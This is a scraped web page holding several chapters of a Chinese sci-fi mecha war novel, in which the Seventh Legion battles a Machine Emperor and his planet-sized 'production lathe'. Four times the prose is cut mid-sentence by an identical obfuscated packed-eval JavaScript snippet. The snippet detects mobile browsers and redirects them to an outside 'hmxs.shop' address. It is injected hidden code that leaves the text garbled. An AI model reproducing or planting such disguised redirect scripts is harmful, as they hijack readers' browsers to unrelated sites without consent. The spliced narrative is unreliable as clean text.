;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582983|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后勤部部长回答:“半个月!” “足够了!”萧寒剑厉声回答。 她的这份狠厉,绝非针对在场的任何人,而是针对那位远方的敌人——那位在机械母星上,遥遥操控一切的机械帝皇。 她大手一挥,将四维沙盘放大:“我们不能退!” 此话一出,无人反驳。 “机械军团若想进行大兵团作战,为了避免程序紊乱,每十万个无机士兵,必然连接着一台战略级机械主脑。”萧寒剑飞快说道。 她在沙盘上快速圈出几个坐标:“我们早摸清了这个规律,上一次战争中,我们正是依靠精准摧毁主脑,数次打乱机械帝皇的指挥节奏——可是这一次,经过迭代升级后,他的意识可以降临任何机体了!” “他在数个机械主脑间来回跳跃,我们刚打瘫一台,他就立刻接管另一台。” “我们根本断不了他们的指挥链!” “所以,这就是我军和敌军陷入僵持的原因。”最后,萧寒剑总结道,“打不散、拆不开,我们只能跟他们耗。” 埃德蒙听出弦外之音:“上将,您是想……” “与其僵持鏖战,不如釜底抽薪。”萧寒剑指了指几处坐标,“我要调出一支精锐机甲兵,同时摧毁所有机械主脑。” 一名军官主动请缨:“上将,让我去吧!” “若要深入敌军,那些精锐机甲兵的同步率,既不能低于60%,也不能高于80%。”萧寒剑低声道,“埃德蒙有一点说得很对,为了这场战争,我已经做好了让老兵牺牲的准备——不止是老兵,我们中的每一个人,都要做好牺牲的准备。” 指挥室内的气氛再次变得沉重。 但时间不等人,这份沉默并未持续多久。 又一位军官站起身:“上将,让我去吧。” 萧寒剑分辨出说话者的声音。 她抬起头,安静地看着那位起立的军官。 “洛宁中将,您最后一次测试同步率的结果,是81%。”萧寒剑轻声劝阻。 “我已经老了,而我的经验和智慧,已经不足以应对如今的机械帝皇。”洛宁中将笑着回答,“一浪推一浪啊,我虚长你十几岁,退役时却只是个中将。但我还能驾驶机甲,所以,当联邦需要我时,我就回来了。” 萧寒剑眼底闪动着泪光:“您今年才52岁。” “52岁,即使放在如今的联邦,也算是长寿了。”洛宁中将说。 他看着萧寒剑虽然年轻,却仍有岁月痕迹的脸庞,突然发出一声尖利而沙哑的笑。 “为什么用这种眼神看着我?”他反问道,“我可是带着骨灰盒登上母舰的!” 萧寒剑沉默不语。 洛宁中将看着萧寒剑,略有些浮肿的老眼,一瞬间锐利如狩猎的鹰隼。 “寒剑,你是元帅的学生,就该学会他的冷血与无情。”他的语气既严厉,又温和,“以我的死为抓手,去和扇区总督谈判吧——那位总督再昏聩无能,也承担不起因自己失职,导致一位开国将军殒命的重责!” 萧寒剑深吸一口气。 她正要开口,但指挥室门口的屏幕,再次响起了打断会议的提示音。 一道投影出现在屏幕上,而那人已经急得满头大汗。 “上将!”情报官高声汇报,“机械帝皇把生产机床送到了前线!大量机兵正源源不断生产出来投入战斗,我们的第一道防线……就要守不住了!” 81. 燃烧的星星(三) 星域战场中,一团又一团花火在漆黑的宇宙中绽放。 银河级别的大兵团作战,四面八方都是敌人,一个人的力量在数以百万计、且形成建制的大兵团面前,比沧海中的一粒沙还要渺小。 以一敌万,早已是千年前的神话。 即使联邦拥有生物机甲,但这也仅仅只是追平了联邦和机械文明的军备差距。 每一位走上战场的士兵,无论是出身五大军校的天之骄子,还是从其他军校毕业的普通人,当他们面对机械军团无情的攻击时,死神的镰刀都会一视同仁地挥向他们。 轰!! 能源炮和激光束如天罚般降下,在漆黑阒寂的银河中,交织出死亡的乐章。 一面面聚能护盾在机甲和战舰前展开。 而那些未能及时展开护盾、或因能源告罄无法展开护盾的人,被太空中的流弹击中后,都变成了一团团盛放的花火。 美丽的花火在宇宙中绽放,绚烂之中深藏死寂。 但幸存下来的人,也没有好到哪里去。 他们看着身前展开的聚能护盾,看着上面流转的六角蜂窝网格,以及其上无数因拦截炮弹而留下的灼痕,牙关一点点咬紧,瞳孔不受控制地放大。 护盾很快刷新,灼痕随之消失。 但视野尽头,机械军团仍如铺天盖地的黑色蝗虫,刺激着前线所有士兵的眼球—— 那些无血无泪的机械士兵,杀不完,灭不尽,更不会像人类一样产生恐惧或动摇。 它们无情地执行着机械帝皇的指令,既不会心慈手软,也不会贪生畏死,死了一群,便立刻补上新的一群。 它们没有凄厉的惨叫,没有淌血的伤口,没有震颤的灵魂,没有人类濒死时会做出的任何惨烈挣扎。 它们就像这漆黑的宇宙一般,以死一般的寂灭,吞噬了一切生命的声息。 所有人的心中,都不约而同地冒出了同一个想法—— 这样的战斗……还要持续多久? 不等前线士兵喘一口气,又一轮火力轰炸铺天盖地而来。 宇宙是一片真空,理应无法传声。 但坚守在第一道防线上的所有士兵,都不约而同地幻听到了死神的啸叫。 轰!! ——死神来了! 轰!! ——机械军团来了! 第七军团的士兵们,或是驾驶机甲和机械军团正面厮杀,或是在战舰中操控大型能源武器轰击对面。 而无机士兵如同嗜血的蝗虫般,源源不断地朝他们扑涌而来。 这是一场绞肉机级别的保卫战。 即使如此,经过长时间鏖战,士兵们也没有丧失宝贵的斗志。 可是,当他们看到从机械军团后方缓缓出现的庞然大物时,全都不由自主地停顿了一秒。 “那是……什么?”一个士兵喃喃发问。 那个庞然大物,已经超出所有人的认知。 它是一个堪比中型星球的球状机械造物,如同一轮巨大的金属太阳,从黑压压的机械军团后方缓缓升起。 它通体鎏金,一圈又一圈金属环将其层层包裹,即便仅凭肉眼,也能感受到它散发出的磅礴能量。 最里层的金属环圈呈熔融般的炽白,最外层则是温度略低的金红色。 这个不知名的球形巨物,目测表面温度高达6000℃。 那里绝不是碳基生命能够生存的地方,但对于机械帝皇这类硅基生命而言,如此炽烈的高温环境,正是它们梦寐以求的迦南地。 人类对巨物天然怀有恐惧。 当这样一个庞大且散发着恐怖高温的神秘造物出现在敌军阵营时,所有士兵齐齐愣了一秒,才惊觉它的高温正席卷太空,慌忙启动了聚能护盾。 但这个神秘巨物产生的威慑,远远不止于此。 嗡——! 一阵古怪却和谐的高亢嗡鸣,如同死神的啸叫,直接响彻所有士兵的耳畔。 那不是声波,而是谐波。 他们的灵魂被谐波引发共振,继而产生了奇异的幻听。 这也意味着,那个神秘的球形巨物内部,正发生着剧烈聚变,引发了足以让整片银河为之震颤的能量剧变。 “撤……滋滋……那是……机床!” 军部加密频段中,一道不完整的指令夹杂着紊乱的电流声,在士兵耳边模糊地响起。 ——机床? 士兵们因这个陌生名词愣怔了一瞬。 下一刻,他们的脸色骤然变得惨白。 豆大的汗珠顺着他们因恐惧而紧绷的面庞滑落,颤抖的动作更是彻底失去了接受过军事训练的熟练与从容。 坚守第一道防线的士兵们,或是驾驶机甲,或是驾驶星舰,全凭着最后一丝理智勉强维持着军队建制,近乎逃遁般远离了那颗散发着炽烈高温的球形巨物。 嗡! 嗡!! 嗡!!! 宛如一个宇宙正在坍缩,宛如一颗超新星即将爆发。 那个被层层金属环圈包裹的聚变核心,随着时间推移,开始以亚光速抛射燃烧物质,更有数不清的、肉眼不可见的电磁射线,从中心散射而出。 “……撤往第二道防线!”加密频段中,指挥官嘶吼道,“所有人立刻集合,构筑超大型聚能护盾……滋滋……我们必须守住!!” 嗡—— 一道和谐悦耳的声音,在这片空间里所有人的耳畔响起。 那声音毫无杀戮之气,柔美得如同金色大厅中奏响的乐章,每一个波频都那么圆润、纯净。 当它传入士兵耳中时,众人竟然提不起丝毫警惕,仿佛在漆黑压抑的森林里,骤然听见了夜莺柔婉的鸣叫。 “展!开!护!盾!”指挥官声嘶力竭地下令。 金色的机械太阳在机械军团后方安静燃烧。 它周身散发的所有光与热,在这一刹那凝固成油画般静谧的色彩。 但一道蕴含致命振频的谐波,正裹挟着夜莺般柔婉的“歌声”,在这片宇宙中扩散、蔓延。 有人及时展开了护盾。 但更多人沉浸在那道“歌声”里,彻底失去了防备。 嘭! 嘭! 嘭! 一团又一团燃烧的花火,在宇宙中静谧地绽放。 那颗“机械太阳”散发出的谐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589842|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波,与机甲产生了共振,机甲能源瞬间被引爆,数不清的机甲师顿时葬身火海。 他们连一声哀嚎都来不及发出,便连带着浑身的血与骨,化为了寂冷宇宙中一团团渺小而炽热的花火。 宇宙是冷的,花火是热的。 但宇宙是阒寂的墓园,那一团团燃烧的花火,终究只是稍纵即逝的磷火。 当它们逐一熄灭时,细小的灰烬在空旷的战场上扬散,仿佛死神黯淡的泪滴。 一名士兵目睹这一幕,心理防线彻底崩溃。 那名士兵双手抱头蜷缩在驾驶舱里,交叉的手臂间隙中,露出一双充满血丝的眼睛。 “那……那是什么?”士兵的牙齿“哒哒”打颤,心中除了灭顶的恐惧,再无半分其他念头。 加密频段中,整整三秒钟,只有电波紊乱的滋滋声。 三秒后,指挥官的声音带着难以抑制的艰涩,在杂乱的电流声中响起: “那是生产机床——机械帝皇用来批量制造机械士兵的终极造物。” 第一道防线已然溃散。 但这并不意味着战败——第七军团仍有第二道、第三道防线可守。 更关键的是,生产机床散发出的谐波,误伤了不少机械士兵。 联邦虽然损失惨重,但战场另一头,原本铺天盖地的机械军团,也肉眼可见地锐减了许多。 嗡—— 在所有人恐惧的注视下,生产机床再次发出那悦耳却致命的嗡鸣。 又要来了吗? 即使是身经百战的老兵,脸上也不受控制地流露出一丝绝望。 就在这时,加密频段中突然响起一阵刺耳的“沙沙”声。 战场最高指挥官——凤凰上将萧寒剑的通话权限,临时接入了所有子频段。 第七军团是百万级别的大兵团,萧寒剑身为最高指挥官,其指令向来不会直接传达至基层将士。 为确保效率与准确性,她的指令通常会经各级指挥官层层传递,间接送达将士耳中。 而最高指挥官直接对全体军士喊话的情况,寥寥无几。 所有士兵不约而同地屏住了呼吸。 一时间,频段内只剩电流滋滋的轻响。 “一分钟前,生产机床已完成第一阶段暖机程序。”萧寒剑的声音沉凝如铁,穿透了杂乱的电波,“此刻,它正在启动第二阶段量产程序——无数机兵将源源不断涌出,我军第二道防线,即将迎来远超此前的猛烈攻势!” 现实的残酷无需修饰,直白道来,便是最锋利的尖刀。 “但这道防线,我们必须死守!”滋滋的电流声中,萧寒剑的声音愈发坚定,“联邦领土神圣不容侵犯!从即刻起,本人率全体高级将领靠前指挥——我们,与防线共存亡!” 话音未落,一批又一批机械士兵如同漆黑的蝗群,从金色的生产机床中蜂拥而出。 它们猖獗、静谧又疯狂。 蛀虫啃啮苹果时,只会发出人耳难闻的沙沙轻响。 而在这片真空的宇宙中,当“机械蝗虫”啃啮鲜活的生命时,也是无声无息的。 死神从不说话。 死神只会挥舞祂的镰刀。 82. 燃烧的星星(四) 以萧寒剑上将为首,指挥部一半成员驾驶星舰,从大后方前移至第二道防线。 另一半指挥部成员则继续坐镇后方,实时联络驻守各个战乱区星球的部队,对该星球上的公民进行有序转移。 萧寒剑驾驶机甲“凤凰”,从星舰中飞行而出。 “保持信号通畅,我会把情报实时共享给你。”埃德蒙驾驶着一台亮银色机甲,涂装颜色仿佛镜子的反光。 他在加密频段中堪称狂傲地说:“洛宁中将,如果你能活着回来,记得在表彰大会上提一嘴我的名字——敢在前线近距离采集‘生产机床’数据的人,全联邦只有我一个!” 洛宁中将笑斥道:“瞧你,狂成什么样了!” “我的同步率只有51%,根本没法驾驶机甲做精细动作。”埃德蒙并未反驳,接着说道,“洛宁中将,你的同步率高达81%,就算贴脸站在生产机床面前,也能即时展开护盾或掉头逃生。” 加密频段内安静了一秒。 “但我不一样。”埃德蒙道。 埃德蒙坐在驾驶舱中。 他戴着单边黑色眼罩,灰色独眼透过巨大的屏幕,凝望这片被战火点亮的漆黑太空。 何其绚烂。 何其悲凉。 “洛宁中将,面对机械帝皇的攻击,哪怕出现一毫秒的卡顿,我都会直接炸成一朵烟花。”埃德蒙轻声道,“你知道,我不像上将那样伟大,我很惜命。但今天我把命豁了出去,希望你能记住我的这份决心。” 萧寒剑没有说话。 洛宁中将低声问道:“这份决心……是为了联邦?” “不,是为了你,还有你麾下的将士们。”埃德蒙不假思索地回答。 洛宁中将大笑一声:“好!我记住了!” 洛宁中将驾驶着机甲,略显浑浊的老眼看着屏幕上滚动的一条条数据。 埃德蒙的发言并未妨碍他手头的工作,他完美地完成了第一轮数据采集,并把情报实时共享给了所有人。 “机械主脑坐标已更新!目标预计5分钟后机动,坐标届时同步刷新——各单位留意!”埃德蒙在加密频段中通报。 “保证完成任务!”洛宁中将道。 一台不起眼的黄色机甲带领着一支奇兵,隐遁于漆黑的太空中,如同黑夜里蹑步的舞者,向分布在机械军团中的若干座机械主脑飞行而去。 奇兵已经离开,正兵也蓄势待发。 机甲“凤凰”垂下手臂,机械长剑从臂匣中脱落,落入凤凰的手掌中。 凤凰抬起手臂,剑尖直指对面乌压压的机械军团。 萧寒剑大喝道:“迎敌!!!” 数以百计的星际战舰在第二道防线排列出阵型,舰上搭载的大型能源武器的尖端处,一团团白色的能源光球开始缓缓凝聚。 舰队前方,从第一道防线退下来的残军,和驻守在第二道防线的军队,在指挥部的指挥下汇合在一起,于极短的时间内,重新凝聚成了一支庞大的军队。 萧寒剑驾驶“凤凰”坐镇前线,鸟瞰战局,并向指挥部众人下达指令。 她的指令被下一级指挥官接收,并根据各自麾下部队的具体战况,演化为更加具体、详实的定制化战术。 如此,最高指挥官的指令,经由各级指挥官的拆解和加工,一级级传达了下去。 联邦军和机械军团,开始在新的战线上厮杀。 每一秒钟,都有数以百计的花火在漆黑的宇宙中绽放。 萧寒剑紧绷着神经,聚精会神地观察着当前的战况,并及时下达新的指令。 银河战争中,机会稍纵即逝。 身为最高指挥官,萧寒剑要做的,是全面观察战况、研判战局,抢先一步捕捉战机,将机会转化成优势,让我军始终占领先机。 萧寒剑额上冒出豆大的汗珠。 她从未感到这般吃力。 在上一场战争中,机械帝皇尚只能远程指挥。 但在这一场战争中,迭代升级后的机械帝皇,已经能无条件降临任何机械造物。 换句话说,那百万机械大军里,每一个机兵都可能是他的化身。 “机械主脑坐标已更新!”埃德蒙再次在加密频段中通报。 “收到。”洛宁中将回答。 “注意!机械帝皇正在攻击加密频段,你们的坐标将在150秒后泄露。”埃德蒙再次通报。 洛宁中将笑斥一声:“埃德蒙,你可真不愧是第七军团的‘报丧鸟’!” “我就当你在夸我了。”埃德蒙随口回了句,又道,“刚才,所有机械主脑都停止了机动,我怀疑这是机械帝皇的陷阱——他想把你们一网打尽!” 洛宁中将哼了一声:“他的铁脑袋还是那么灵光。” 埃德蒙噼里啪啦敲着键盘:“洛宁中将,你千万别意气用事。我严重怀疑,机械帝皇的情感模因已经完成升级,他对人性的把控,可能会超出所有人的想象。” “小年轻说话就是弯弯绕绕……说人话!” “利而诱之、切断退路、围点打援——这套战术对你向来屡试不爽,年轻时是这样,现在也一样。” 洛宁中将陷入短暂的沉默。 而后,他冷哼一声:“你就拭目以待吧!” 萧寒剑观察着战场全局。 “……不对劲。”她喃喃道,“他到底想做什么?” 埃德蒙绝不会让话掉在地上:“你说啥?” “机械帝皇的指挥风格不是这样的,一举多得才是他的作风。” 萧寒剑凝视着屏幕上投射的四维沙盘,语气中多了一丝疑虑:“他肯定能猜到我们会突袭机械主脑,但他让机械主脑停止机动,绝不可能只有‘诱敌深入’这一个目的……他到底还藏着什么后手?” 埃德蒙随口打趣道:“还能是啥?地主家里没余粮了呗!” 萧寒剑陷入沉思。 埃德蒙一边采集谐波数据,一边略显滞钝地驾驶着机甲:“战争这事儿劳民伤财,联邦耗的是人口和资金,机械文明烧的是金属和能源——他让机械主脑停止机动,说不定是在省能耗呢!” “不好!”萧寒剑惊喝一声。 “啥?”埃德蒙问道。 “命令后方舰队,以最大功率展开大型护盾!哪怕耗尽所有能源,也必须维持住!”萧寒剑快速下达指令。 她的目光牢牢锁定在机械军团后方,那台金色的生产机床上。 它宛如一颗沉静的太阳,释放着灼目的光与热。 这台神秘的生产机床,短短半小时内已展露两项功能—— 量产机兵。 释放谐波。 它还藏着什么底牌? 嗡!!! 一道震耳欲聋的嗡鸣声席卷了整个战场。 那台金色的生产机床,再次释放出高频振动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601179|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的谐波。 不久前,它那夜莺啼鸣般的“歌声”,不仅让第七军团第一道防线瞬间崩溃,更让太空中骤然炸开了数以万计的绚烂花火——那是机甲殉爆的残骸。 因此,当又一道“歌声”响起时,所有人不约而同地打了个寒颤。 “展开护盾!!”萧寒剑声嘶力竭地下令。 第一道防线的惨状,绝不能重演! 超大型聚能护盾展开需要时间,第一道防线便是因此覆灭。 好在萧寒剑早有预判,抢在生产机床完成暖机前,便提前下达了指令。 生产机床的第二道“歌声”刚响起,星际战舰已迅速完成防御阵型。 一面巨大的聚能护盾缓缓浮现,其上,六角蜂窝网格光华流转。 数百艘战舰高负荷支撑着护盾,引擎舱段的温度开始急剧飙升。 萧寒剑凝眉盯着屏幕,心头阴云密布。 突然,埃德蒙尖叫道:“机械帝皇——他破解我们的防火墙了!!” 滋滋! 一阵诡异的电流声中,机械帝皇的声音在加密频段中响起。 “日安,凤凰上将。”机械帝皇轻柔地说,“宇宙本是一片永夜,我深感此地孤寂,于是为你带来了一颗太阳。” 萧寒剑冷哼一声:“你真令我作呕——你千里迢迢运来生产机床,究竟是为了什么?” “面对你这样的劲敌,我应予以尊重和诚意。”机械帝皇轻笑一声。 他非人的机械音发出比人类更富情感的笑声,听起来真是古怪极了:“击溃防线,收割星球,抢占资源——这几点即便我不提,凭你的智慧,也能猜得到。” 萧寒剑心头的阴云愈发浓郁。 她深谙机械帝皇的狡诈多谋。 此时此刻的他,比起推心置腹,更像是在戏弄猎物。 “啊,她来了!”机械帝皇堪称喜悦地说,“凤凰啊,你固然能浴火新生,可不死的龙,才是我真正重视的对手。” 什么?! 萧寒剑一瞬间肝胆俱裂。 她目眦欲裂地盯着战场中央—— 生产机床燃烧剧变的核心,已在暖机阶段调整射击轨道,联邦军已经躲在超大型护盾之后,而机械军团也纷纷后退。 那里是一片真空地带,除了虚无的太空,连一丝介质也没有。 但突然间,一个燃烧着火焰的迷你虫洞出现在了真空地带中。 能够进行跃迁的虫洞,其半径至少要在1光年以上,否则,虫洞产生的张力会瞬间破坏飞船及乘员的原子结构。 但战场上出现的小虫洞,其半径目测不超过500米。 这虫洞燃烧着火焰,宛如地狱之门。 在无数道目光的注视下,一台渺小的、燃烧着火焰的雪色机甲,从“地狱之门”中缓慢地飞了出来。 它伤痕累累,装甲已经破损,半透明的未知物质包裹着破损处,让它看起来仿佛一只被琥珀包裹的小虫。 雪理盯着光脑上骤然亮起的头像:“她上线了!” 萧寒剑目眦欲裂:“郗灵!!” 机械帝皇笑道:“发射!” 轰!! 一道蕴含着暴烈能量的高能射线,伴着悦耳的“歌声”,从生产机床蓄能的核心中发射而出,直直轰向了战场中央的真空地带。 那台伤痕累累的雪色机甲,一瞬间淹没在了轰射而来的白光中! 83. 燃烧的星星(五) 白光散去,雪色机甲仍静静悬浮在太空中。 那台机甲正是“龙姬”。 龙姬的体表包裹着外骨骼,这种神秘而坚硬的物质将它牢牢裹住,即便承受了高能射线的轰射,也没有一丝损伤。 郗灵让龙姬释放出更多外骨骼,将拘束装甲保护起来。 曾几何时,那身拘束装甲如同让人喘不过气的枷锁,让龙姬深陷痛苦之中。 可如今,当龙姬的力量远远超过了装甲的拘束力,那身雪白的装甲便不再是枷锁——它成了一件蔽体的衣物。 龙的力量何其强大,但龙要在人类中行走,就必须穿上人类的衣服。 滋滋! 拘束装甲内置的驾驶系统遭外物破解。 机械帝皇的头像出现在屏幕上。 “日安,郗灵。”机械帝皇愉悦地问候道。 郗灵盯着机械帝皇,没有说话。 “我在你身上,看到了维尔莱德的影子。”机械帝皇丝毫不恼,“多么令人欣喜啊,时隔三十九年,我终于再次在战场上遇到了一位强敌——而你,也像维尔莱德一样,为了保护联邦,成为了我的敌人。” “我视你为敌,和联邦无关。”郗灵的嗓音有些沙哑。 她继承了维尔莱德一半的力量,对操控宇宙中的“弦”尚还生疏。 得知战争已经开始,她不计代价开启虫洞,多次进行超远距离跃迁。 虫洞的本质是黑洞,她没被强大的引力撕成碎片,简直是个奇迹。 然而,当她筋疲力尽赶到第七扇区时,迎面而来的,便是一发毁天灭地的高能射线。 她没有死——只要心脏没有停止跳动,她就永远不死。 但死亡的痛苦依然席卷了她的全身。 “不死”并非祝福,而是诅咒。 再坚强的意志,也会有软弱的一瞬。 而死神就在她身边高举着镰刀,时刻等待着收割她的生命。 望着屏幕上机械帝皇的头像,郗灵冰冷地笑了一声:“机械帝皇,这是我们第二次见面,但这一次,你的嘴脸还是那么恶心。” “你的意志顽强不屈,我十分欣慰。”机械帝皇轻柔地说,“但很可惜,如今的你太过孱弱,即便比起当年虚弱濒死的维尔莱德,也算不上一个优秀的猎手——你只会是一头疲于奔命的猎物。” 郗灵冷冷问道:“所以?” “所以,我将为你举办一场盛大的葬礼。”机械帝皇答道。 嗡! 悦耳的“歌声”再次响起。 生产机床第三次启动暖机程序。 它调整弹道,数十条金属支架缓慢移动、变化。 这片空旷冰冷的宇宙,随着这颗“机械太阳”的运动,开始出现微妙的变化。 粒子和波的振频加快了。 宇宙是一潭死水,但生产机床搅动了这潭死水。 郗灵看着生产机床,感受到它散发出的巨大能量,牙关一点点咬紧。 就在这时,驾驶舱内突然响起一阵诡异的滋滋声。 那是通话频道正在被破解的迹象! 机械帝皇的头像仍挂在屏幕上。 他对此也有所察觉,却好整以暇地看着这一切,犹如一只把玩着老鼠的猫。 没过多久,一个让郗灵意想不到的人出现在了频道中。 埃德蒙高声道:“郗灵!!” “……是你?”郗灵惊疑地回应。 她和埃德蒙只见过一面,却还记得他的声音。 几个月前,她还只是个被萧寒剑从矿星救出来的星球遗孤。 当她和黎缨、墨菲在母舰中逃生时,正是这个声音如同报丧鸟一般,向黎缨汇报了机械军团突袭月台的情报。 那一刻从心中涌起的绝望,她至死都难以忘怀。 “郗灵,机械帝皇篡改了你的驾驶系统,我不知道你到底是怎么做到继续驾驶机甲的,但现在,你已经被他标记成头号目标了!”埃德蒙飞快地说。 郗灵盯着嗡嗡运转的生产机床:“我知道。” “但我们不会保护你。”埃德蒙直白地说。 郗灵沉默了一秒:“为什么?” “是我说服上将做出这个决定的。郗灵,你很特殊,你能扛住生产机床的第一次攻击,就一定能扛住第二次。”埃德蒙的解释近乎残忍。 但这其实算不上解释,更像是一份冰冷的通知。 埃德蒙坐在机甲驾驶舱中,看着最新采集到的谐波数据。 那台名为“龙姬”的机甲,其体内的胚胎发生了从未有过的异变。 它所分泌的琥珀状外骨骼,能与宇宙中的谐波发生共振,进而让包裹在外骨骼中的生命存活下来。 这是一个奇迹。 如果这个奇迹是第七军团中任何一位将领创造的,埃德蒙会毫不犹豫地牺牲那位将领,以一个人的性命,保全更多人活着。 可偏偏,郗灵是个无辜的学生。 甚至在成为学生前,她还是个被联邦商人卖给矿星、饱受折磨的黑工。 埃德蒙的灰色独眼泛起血丝,眼眶也开始泛红。 他向来坚信世上无命运之说,一切的胜利或失败,都是权衡利益后多方博弈的结果。 可刚才,他开始相信命运了。 是命运,把一份希望送到了陷入绝境的第七军团面前。 也是命运,给这份希望涂抹上了剧毒,若要抓住这份希望,便会让良心腐蚀殆尽。 埃德蒙从未对自己的决策产生过动摇。 他拥有一颗聪慧近妖的脑袋,这也是他即便只有51%的同步率,也能进入指挥部、甚至晋升为副指挥官的原因之一。 但这一次,他的良心让他犹豫了三秒。 在瞬息万变的银河战争中,这长达三秒的犹豫,已经足以致他于死地。 “根据我的推演,第七军团的护盾,根本挡不住生产机床释放的谐波攻击!”埃德蒙的声线带着一丝颤抖,“但是,郗灵,你可以挡住!只要你释放出更多覆盖在机甲上的外骨骼,你就能——” “我明白了。”郗灵打断他,“就这么做吧!” 埃德蒙愣了一瞬:“你……” 你不反驳吗? “你是第七军团现任副官,我相信萧寒剑上将和黎缨副官的眼光。”郗灵浸泡在驾驶舱的母液中,锐利的目光一瞬不瞬地盯着屏幕。 机械帝皇的头像,仍然挂在上面。 他饶有兴致地看着这一切,始终没有退出频道。 多么卑劣啊…… 多么卑劣啊!! 埃德蒙一时失语。 “我不会死。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605281|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”郗灵坚定地重复道,“埃德蒙副官,请转告上将——我不会死!” * 欧白白抱着迷你电脑,盯着屏幕上的数据,脸色第一次变得如此惨白。 生产机床此前释放的两次谐波,对第七扇区造成了巨大影响。 欧白白所在的这颗星球也未能幸免。 随着第一道防线彻底崩溃,更多机械士兵绕过正面战场,侵入了大后方。 驻扎星球的部队与参赛的军校生们加起来,也无法将这些来势汹汹的敌人完全剿灭。 一艘艘飞船从天空降落,又从地面起飞,每一艘都载满了人。 但这不过是杯水车薪——还有更多难民没能挤上飞船,只能滞留在地面。 财富、人脉、名誉、地位……在生命面前,此刻都变得一文不值。 无数人倾家荡产,只为换一张船票。 可在有限的名额面前,个人的努力显得如此微不足道。 欧白白和雪理作为留守驻扎的军校生,与其他参赛者一同负责维持登船现场的秩序。 欧白白捧着电脑,看着拥挤的人群,眼神悲伤又沉重。 雪理察觉到欧白白的情绪,可碍于对方神色太过凝重,不敢贸然开口,只把身边的小女孩搂得更紧,生怕她在拥挤的人潮中被冲散。 小女孩只有雪理腰那么高。 她紧紧抱着雪理的腰,视野里全是一个个晃动的人影。 她手中还攥着那根白色棉绳。 “大姐姐,我会死吗?”小女孩突然轻声问道。 雪理说不出“会”,也说不出“不会”。 她抬头望了望汹涌的人群,又低头看向小女孩苍白恬静的脸。 雪理沙哑地承诺:“你不会死,我会带你离开。我发誓。” 小女孩盯着雪理腰上的机甲钮:“是用这个吗?你会受到惩罚吗?” 雪理撒了谎:“不会。” ——驾驶舱严禁超载,因为一个不慎,里面的人就会双双殒命。 ——若是雪理被发现非法载人,即使最终幸存,她会被剥夺驾驶机甲的资格。 小女孩低下头,几颗眼泪终于滑落。 她小心翼翼地展开手中的棉绳,将早就编好的花样展示给雪理—— 那是一颗星星。 “爸爸妈妈说,他们变成天上的星星了……”小女孩抬起满是泪痕的脸,露出一个明亮的笑容,“我也要变成一颗星星了,我……很想他们。” 欧白白突然猛地合上手中的电脑。 “我来给你改装机甲!”她眼底燃烧着近乎凶狠的火焰,“谁说机甲只能载一个人?我在学校里带飞过那么多学妹,一次意外都没有出过!” 小女孩猛地看向欧白白,眼神既紧张又茫然。 雪理搂紧小女孩,迟疑道:“学姐,我知道旧式机甲曾经设有副驾驶位,但你……” “不光是你,所有军校生的机甲我都要改!”欧白白把电脑往胳膊下一夹,目光四下扫射,锋利如刀。 附近的军校生听到她的话,脸上表情精彩纷呈,却没有一人流露出反对之意。 欧白白看到一些人脸上的质疑之色,哼了一声,撸起两只袖子。 “别小瞧我的本事!”她掷地有声地说,“我可是——白璐元帅的关门弟子!” 84. 燃烧的星星(六) 欧白白的最后一句话铿锵有力。 但她平日里表现得太过轻佻,十句有八句都在戏弄他人。 除了雪理,其他人都把这句话当成了夸大之词。 难民们仍在抢着登船。 雪理搂紧小女孩,毫不犹豫地把机甲钮递了过去。 “学姐,麻烦你了。”雪理低声说。 欧白白没有浪费时间,接过机甲钮,从随身箱里拿出工具,竟要就地修改拘束装甲里的驾驶系统。 一个军校生弱弱地提醒:“……欧白白,你的操作违规了。” 欧白白头也不抬,拿着只有拳头大的机甲钮,借助工具进行着毫米级别的微操。 “你是哪所军校的?” “第五扇区,莱昂军校。” “你没资格对我说这句话,小朋友。”欧白白额头沁出细汗,嘴角却噙着一抹从容的笑,“我可是维尔莱德军校的优等生,规矩对我只是浮云,至于技术嘛……” 